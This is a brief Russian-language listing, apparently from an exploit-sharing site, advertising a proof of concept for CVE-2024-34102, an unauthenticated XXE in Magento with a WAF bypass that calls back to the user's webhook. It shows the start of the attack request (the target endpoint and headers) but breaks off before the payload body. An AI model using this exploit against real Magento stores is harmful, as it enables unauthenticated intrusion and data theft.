CVE-2024-34102

CVE-2024-34102 POC для CVE-2024-34102: неаутентифицированная XXE в Magento и обход WAF. Вы получите HTTP-соединение на ваш вебхук. root@kitploit: POST /rest/V1/guest-carts/1/estimate-shipping-methods HTTP/2 Host: example.com Accept: application/json, text/javascript, /; q=0.01 Content-Length: 310...